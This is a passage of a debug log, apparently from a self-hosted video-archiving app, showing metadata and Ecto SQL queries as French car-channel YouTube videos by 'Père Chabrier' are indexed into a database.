🕵️\n___________________________________\n\nLes réseaux du Père Chabrier :\n📲 INSTA 👉 https://www.instagram.com/pierre_chabrier/\n📲 TIKTOK 👉 https://www.tiktok.com/@pere.chabrier\n\nPour les live, ça reprend bientôt promis :\n📺TWITCH 👉 https://www.twitch.tv/perechabrier\n___________________________________\n\nPlein de love à mon équipe de cœur : \n- Laurane Da Silva : Chargée de Production\n- Ecriture : Maxime Thoroud \n- Montage : Axel - https://www.instagram.com/axl.edit/\n- Miniature : Eiram Design - https://x.com/eiraamtv\n\n_____________________________________\n\n✉️ Contact commercial : pere.pierrechabrier@gmail.com\n\nDes bisous.\n\n#Enquête #essence #", "duration" => 1349, "filename" => "/downloads/Père Chabrier/2025-05-02 L’ARNAQUE à la pompe - Enquête #4/L’ARNAQUE à la pompe - Enquête #4 [hxa_47jvM7w].mkv", "id" => "hxa_47jvM7w", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=hxa_47jvM7w", "playlist_index" => 6, "timestamp" => 1746202504, "title" => "L’ARNAQUE à la pompe - Enquête #4", "upload_date" => "20250502"} 06:33:42.986 [debug] QUERY OK source="sources" db=2.8ms queue=0.3ms idle=976.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 06:33:42.988 [debug] QUERY OK source="sources" db=2.1ms idle=980.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 06:33:42.991 [debug] QUERY OK source="media_items" db=1.8ms queue=0.1ms idle=982.9ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-05-02 16:15:04Z], 3] 06:33:43.012 [debug] QUERY OK source="media_items" db=19.3ms idle=599.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["N'hésitez pas à poser vos questions en commentaire ou par message insta pour choisir le thème du prochain épisode 🕵️\n___________________________________\n\nLes réseaux du Père Chabrier :\n📲 INSTA 👉 https://www.instagram.com/pierre_chabrier/\n📲 TIKTOK 👉 https://www.tiktok.com/@pere.chabrier\n\nPour les live, ça reprend bientôt promis :\n📺TWITCH 👉 https://www.twitch.tv/perechabrier\n___________________________________\n\nPlein de love à mon équipe de cœur : \n- Laurane Da Silva : Chargée de Production\n- Ecriture : Maxime Thoroud \n- Montage : Axel - https://www.instagram.com/axl.edit/\n- Miniature : Eiram Design - https://x.com/eiraamtv\n\n_____________________________________\n\n✉️ Contact commercial : pere.pierrechabrier@gmail.com\n\nDes bisous.\n\n#Enquête #essence #", "L’ARNAQUE à la pompe - Enquête #4", "33017b72-3c66-4c61-8363-e793db3779b1", "hxa_47jvM7w", 1349, false, "https://www.youtube.com/watch?v=hxa_47jvM7w", 6, "/downloads/Père Chabrier/2025-05-02 L’ARNAQUE à la pompe - Enquête #4/L’ARNAQUE à la pompe - Enquête #4 [hxa_47jvM7w].mkv", false, false, false, 3, [], 98, ~U[2025-05-02 16:15:04Z], ~U[2026-04-20 04:33:42Z], ~U[2026-04-20 04:33:42Z], "N'hésitez pas à poser vos questions en commentaire ou par message insta pour choisir le thème du prochain épisode 🕵️\n___________________________________\n\nLes réseaux du Père Chabrier :\n📲 INSTA 👉 https://www.instagram.com/pierre_chabrier/\n📲 TIKTOK 👉 https://www.tiktok.com/@pere.chabrier\n\nPour les live, ça reprend bientôt promis :\n📺TWITCH 👉 https://www.twitch.tv/perechabrier\n___________________________________\n\nPlein de love à mon équipe de cœur : \n- Laurane Da Silva : Chargée de Production\n- Ecriture : Maxime Thoroud \n- Montage : Axel - https://www.instagram.com/axl.edit/\n- Miniature : Eiram Design - https://x.com/eiraamtv\n\n_____________________________________\n\n✉️ Contact commercial : pere.pierrechabrier@gmail.com\n\nDes bisous.\n\n#Enquête #essence #", "L’ARNAQUE à la pompe - Enquête #4", "hxa_47jvM7w", 1349, false, "https://www.youtube.com/watch?v=hxa_47jvM7w", "/downloads/Père Chabrier/2025-05-02 L’ARNAQUE à la pompe - Enquête #4/L’ARNAQUE à la pompe - Enquête #4 [hxa_47jvM7w].mkv", false, 3, ~U[2025-05-02 16:15:04Z]] 06:33:43.018 [debug] QUERY OK source="sources" db=3.8ms queue=0.6ms idle=138.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 06:33:43.022 [debug] QUERY OK source="media_profiles" db=1.5ms queue=2.1ms idle=32.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 06:33:43.027 [debug] QUERY OK source="media_items" db=1.6ms idle=36.6ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [728] 06:33:43.028 [debug] Current batch of media processed. Will check again in 1000ms 06:33:44.031 [debug] Current batch of media processed. Will check again in 1000ms 06:33:45.032 [debug] Current batch of media processed. Will check again in 1000ms 06:33:46.033 [debug] Current batch of media processed. Will check again in 1000ms 06:33:47.034 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Un grand merci à Maxence et sa conjointe pour le prêt de la voiture, c'était une chouette journée. 🙏❤️\nEt merci à ma Grand Mère pour l'apparition furtive et mon Papa d'avoir partagé ce moment. 🙏❤️\n___________________________________\n\nLes réseaux du Père Chabrier :\n📲 INSTA 👉 https://www.instagram.com/pierre_chabrier/\n📲 TIKTOK 👉 https://www.tiktok.com/@pere.chabrier\n\nPour les lives ça revient bientôt promis\n📺TWITCH 👉 https://www.twitch.tv/perechabrier\n\n___________________________________\n\nPlein de love à mon équipe de cœur : \n- Laurane Da Silva : Chargée de Production\n- Cadreur : Vincent Cordier - ENKOR FILMS https://www.enkorfilms.com\n- Montage : Axel - https://www.instagram.com/axl.edit/?hl=fr\n- Miniature : Pi3rrebsi - https://x.com/pi3rrebsi\n\nMerci également au Julien national pour son aide sur le tournage 🙏\n\n_____________________________________\n\n✉️ Contact commercial : pere.pierrechabrier@gmail.com\n\nDes bisous.\n\n#sleeper #Déchet' #pourtoi", "duration" => 1625, "filename" => "/downloads/Père Chabrier/2025-04-25 Le SLEEPER ultime - Opel Zafira OPC/Le SLEEPER ultime - Opel Zafira OPC [BrVG8TCQ-Ao].mkv", "id" => "BrVG8TCQ-Ao", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=BrVG8TCQ-Ao", "playlist_index" => 7, "timestamp" => 1745597700, "title" => "Le SLEEPER ultime - Opel Zafira OPC", "upload_date" => "20250425"} 06:33:47.035 [debug] QUERY OK source="sources" db=0.5ms queue=0.2ms idle=858.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 06:33:47.037 [debug] QUERY OK source="sources" db=0.5ms idle=145.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 06:33:47.041 [debug] QUERY OK source="media_items" db=3.5ms queue=0.1ms idle=29.3ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-04-25 16:15:00Z], 3] 06:33:47.045 [debug] QUERY OK source="media_items" db=2.9ms idle=33.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Un grand merci à Maxence et sa conjointe pour le prêt de la voiture, c'était une chouette journée. 🙏❤️\nEt merci à ma Grand Mère pour l'apparition furtive et mon Papa d'avoir partagé ce moment. 🙏❤️\n___________________________________\n\nLes réseaux du Père Chabrier :\n📲 INSTA 👉 https://www.instagram.com/pierre_chabrier/\n📲 TIKTOK 👉 https://www.tiktok.com/@pere.chabrier\n\nPour les lives ça revient bientôt promis\n📺TWITCH 👉 https://www.twitch.tv/perechabrier\n\n___________________________________\n\nPlein de love à mon équipe de cœur : \n- Laurane Da Silva : Chargée de Production\n- Cadreur : Vincent Cordier - ENKOR FILMS https://www.enkorfilms.com\n- Montage : Axel - https://www.instagram.com/axl.edit/?hl=fr\n- Miniature : Pi3rrebsi - https://x.com/pi3rrebsi\n\nMerci également au Julien national pour son aide sur le tournage 🙏\n\n_____________________________________\n\n✉️ Contact commercial : pere.pierrechabrier@gmail.com\n\nDes bisous.\n\n#sleeper #Déchet' #pourtoi", "Le SLEEPER ultime - Opel Zafira OPC", "bef2e834-6f90-4974-97de-257cf779f0b1", "BrVG8TCQ-Ao", 1625, false, "https://www.youtube.com/watch?v=BrVG8TCQ-Ao", 7, "/downloads/Père Chabrier/2025-04-25 Le SLEEPER ultime - Opel Zafira OPC/Le SLEEPER ultime - Opel Zafira OPC [BrVG8TCQ-Ao].mkv", false, false, false, 3, [], 98, ~U[2025-04-25 16:15:00Z], ~U[2026-04-20 04:33:47Z], ~U[2026-04-20 04:33:47Z], "Un grand merci à Maxence et sa conjointe pour le prêt de la voiture, c'était une chouette journée. 🙏❤️\nEt merci à ma Grand Mère pour l'apparition furtive et mon Papa d'avoir partagé ce moment. 🙏❤️\n___________________________________\n\nLes réseaux du Père Chabrier :\n📲 INSTA 👉 https://www.instagram.com/pierre_chabrier/\n📲 TIKTOK 👉 https://www.tiktok.com/@pere.chabrier\n\nPour les lives ça revient bientôt promis\n📺TWITCH 👉 https://www.twitch.tv/perechabrier\n\n___________________________________\n\nPlein de love à mon équipe de cœur : \n- Laurane Da Silva : Chargée de Production\n- Cadreur : Vincent Cordier - ENKOR FILMS https://www.enkorfilms.com\n- Montage : Axel - https://www.instagram.com/axl.edit/?hl=fr\n- Miniature : Pi3rrebsi - https://x.com/pi3rrebsi\n\nMerci également au Julien national pour son aide sur le tournage 🙏\n\n_____________________________________\n\n✉️ Contact commercial : pere.pierrechabrier@gmail.com\n\nDes bisous.\n\n#sleeper #Déchet' #pourtoi", "Le SLEEPER ultime - Opel Zafira OPC", "BrVG8TCQ-Ao", 1625, false, "https://www.youtube.com/watch?v=BrVG8TCQ-Ao", "/downloads/Père Chabrier/2025-04-25 Le SLEEPER ultime - Opel Zafira OPC/Le SLEEPER ultime - Opel Zafira OPC [BrVG8TCQ-Ao].mkv", false, 3, ~U[2025-04-25 16:15:00Z]] 06:33:47.046 [debug] QUERY OK source="sources" db=1.0ms queue=0.1ms idle=37.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 06:33:47.048 [debug] QUERY OK source="media_profiles" db=0.7ms queue=0.7ms idle=11.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 06:33:47.050 [debug] QUERY OK source="media_items" db=1.1ms queue=0.1ms idle=11.9ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [729] 06:33:47.050 [debug] Current batch of media processed. Will check again in 1000ms 06:33:48.056 [debug] Current batch of media processed. Will check again in 1000ms 06:33:49.057 [debug] Current batch of media processed. Will check again in 1000ms 06:33:50.060 [debug] Current batch of media processed. Will check again in 1000ms 06:33:51.061 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "N'hésitez pas à poser vos questions en commentaire pour choisir le thème du prochain épisode 🕵️\n___________________________________\n\nLes réseaux du Père Chabrier :\n📲 INSTA 👉 https://www.instagram.com/pierre_chabrier/\n📲 TIKTOK 👉 https://www.tiktok.com/@pere.chabrier\n\nPour les live, ça reprend bientôt promis :\n📺TWITCH 👉 https://www.twitch.tv/perechabrier\n___________________________________\n\nPlein de love à mon équipe de cœur : \n- Laurane Da Silva : Chargée de Production\n- Ecriture : Maxime Thoroud \n- Montage : Axel - https://www.instagram.com/axl.edit/\n- Miniature : Pi3rrebsi - https://x.com/pi3rrebsi\n\n_____________________________________\n\n✉️ Contact commercial : pere.pierrechabrier@gmail.com\n\nDes bisous.\n\n#Enquête #Plaque #Masquer", "duration" => 1250, "filename" => "/downloads/Père Chabrier/2025-04-18 Votre plaque INVISIBLE avec une BANANE ? - Enquête #3/Votre plaque INVISIBLE avec une BANANE ? - Enquête #3 [6GoLkJa-Wfc].mkv", "id" => "6GoLkJa-Wfc", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=6GoLkJa-Wfc", "playlist_index" => 8, "timestamp" => 1744992900, "title" => "Votre plaque INVISIBLE avec une BANANE ? - Enquête #3", "upload_date" => "20250418"} 06:33:51.062 [debug] QUERY OK source="sources" db=0.6ms queue=0.1ms idle=158.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 06:33:51.064 [debug] QUERY OK source="sources" db=1.3ms idle=54.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 06:33:51.069 [debug] QUERY OK source="media_items" db=2.5ms queue=2.0ms idle=56.4ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-04-18 16:15:00Z], 3] 06:33:51.206 [debug] QUERY OK source="media_items" db=135.4ms idle=61.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["N'hésitez pas à poser vos questions en commentaire pour choisir le thème du prochain épisode 🕵️\n___________________________________\n\nLes réseaux du Père Chabrier :\n📲 INSTA 👉 https://www.instagram.com/pierre_chabrier/\n📲 TIKTOK 👉 https://www.tiktok.com/@pere.chabrier\n\nPour les live, ça reprend bientôt promis :\n📺TWITCH 👉 https://www.twitch.tv/perechabrier\n___________________________________\n\nPlein de love à mon équipe de cœur : \n- Laurane Da Silva : Chargée de Production\n- Ecriture : Maxime Thoroud \n- Montage : Axel - https://www.instagram.com/axl.edit/\n- Miniature : Pi3rrebsi - https://x.com/pi3rrebsi\n\n_____________________________________\n\n✉️ Contact commercial : pere.pierrechabrier@gmail.com\n\nDes bisous.\n\n#Enquête #Plaque #Masquer", "Votre plaque INVISIBLE avec une BANANE ? - Enquête #3", "9600d5d5-0c24-45a8-a43e-ac26f9041ae9", "6GoLkJa-Wfc", 1250, false, "https://www.youtube.com/watch?v=6GoLkJa-Wfc", 8, "/downloads/Père Chabrier/2025-04-18 Votre plaque INVISIBLE avec une BANANE ? - Enquête #3/Votre plaque INVISIBLE avec une BANANE ? - Enquête #3 [6GoLkJa-Wfc].mkv", false, false, false, 3, [], 98, ~U[2025-04-18 16:15:00Z], ~U[2026-04-20 04:33:51Z], ~U[2026-04-20 04:33:51Z], "N'hésitez pas à poser vos questions en commentaire pour choisir le thème du prochain épisode 🕵️\n___________________________________\n\nLes réseaux du Père Chabrier :\n📲 INSTA 👉 https://www.instagram.com/pierre_chabrier/\n📲 TIKTOK 👉 https://www.tiktok.com/@pere.chabrier\n\nPour les live, ça reprend bientôt promis :\n📺TWITCH 👉 https://www.twitch.tv/perechabrier\n___________________________________\n\nPlein de love à mon équipe de cœur : \n- Laurane Da Silva : Chargée de Production\n- Ecriture : Maxime Thoroud \n- Montage : Axel - https://www.instagram.com/axl.edit/\n- Miniature : Pi3rrebsi - https://x.com/pi3rrebsi\n\n_____________________________________\n\n✉️ Contact commercial : pere.pierrechabrier@gmail.com\n\nDes bisous.\n\n#Enquête #Plaque #Masquer", "Votre plaque INVISIBLE avec une BANANE ? - Enquête #3", "6GoLkJa-Wfc", 1250, false, "https://www.youtube.com/watch?v=6GoLkJa-Wfc", "/downloads/Père Chabrier/2025-04-18 Votre plaque INVISIBLE avec une BANANE ? - Enquête #3/Votre plaque INVISIBLE avec une BANANE ? - Enquête #3 [6GoLkJa-Wfc].mkv", false, 3, ~U[2025-04-18 16:15:00Z]] 06:33:51.207 [debug] QUERY OK source="sources" db=0.9ms idle=143.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 06:33:51.211 [debug] QUERY OK source="media_profiles" db=3.8ms queue=0.1ms idle=143.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 06:33:51.213 [debug] QUERY OK source="media_items" db=0.7ms idle=143.1ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [730] 06:33:51.214 [debug] Current batch of media processed. Will check again in 1000ms 06:33:52.219 [debug] Current batch of media processed. Will check again in 1000ms 06:33:53.220 [debug] Current batch of media processed. Will check again in 1000ms 06:33:54.221 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Un grand merci à Autopremium Chantilly pour le prêt de ce bijou 🙏 : \n👉https://www.instagram.com/autopremiumchantilly/\n\nMerci également à Optic 2000 pour la paire de Ray-Ban Meta très chouette : \n👉https://www.instagram.com/optic2000_clermont/ \n___________________________________\n\nLes réseaux du Père Chabrier :\n📲 INSTA 👉 https://www.instagram.com/pierre_chabrier/\n📲 TIKTOK 👉 https://www.tiktok.com/@pere.chabrier\n\nPour les live, ça reprend bientôt promis :\n📺TWITCH 👉 https://www.twitch.tv/perechabrier\n\n___________________________________\n\nPlein de love à mon équipe de cœur : \n- Laurane Da Silva : Chargée de Production\n- Cadreur : Lucas Colomes - ENKOR FILMS https://www.enkorfilms.com\n- Montage : Axel - https://www.instagram.com/axl.edit/?hl=fr\n- Miniature : Pi3rrebsi - https://x.com/pi3rrebsi\n\nMerci également à Clem pour son aide sur le tournage 🙏 ❤️\n\n_____________________________________\n\n✉️ Contact commercial : pere.pierrechabrier@gmail.com\n\nDes bisous.\n\n#ferrari #spider #drift", "duration" => 1850, "filename" => "/downloads/Père Chabrier/2025-04-11 Une page se tourne (vite) - Ferrari 458 Spider/Une page se tourne (vite) - Ferrari 458 Spider [yvQpJX1V07U].mkv", "id" => "yvQpJX1V07U", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=yvQpJX1V07U", "playlist_index" => 9, "timestamp" => 1744388110, "title" => "Une page se tourne (vite) - Ferrari 458 Spider", "upload_date" => "20250411"} 06:33:54.222 [debug] QUERY OK source="sources" db=0.4ms queue=0.4ms idle=1212.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 06:33:54.224 [debug] QUERY OK source="sources" db=1.2ms queue=0.1ms idle=1213.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", 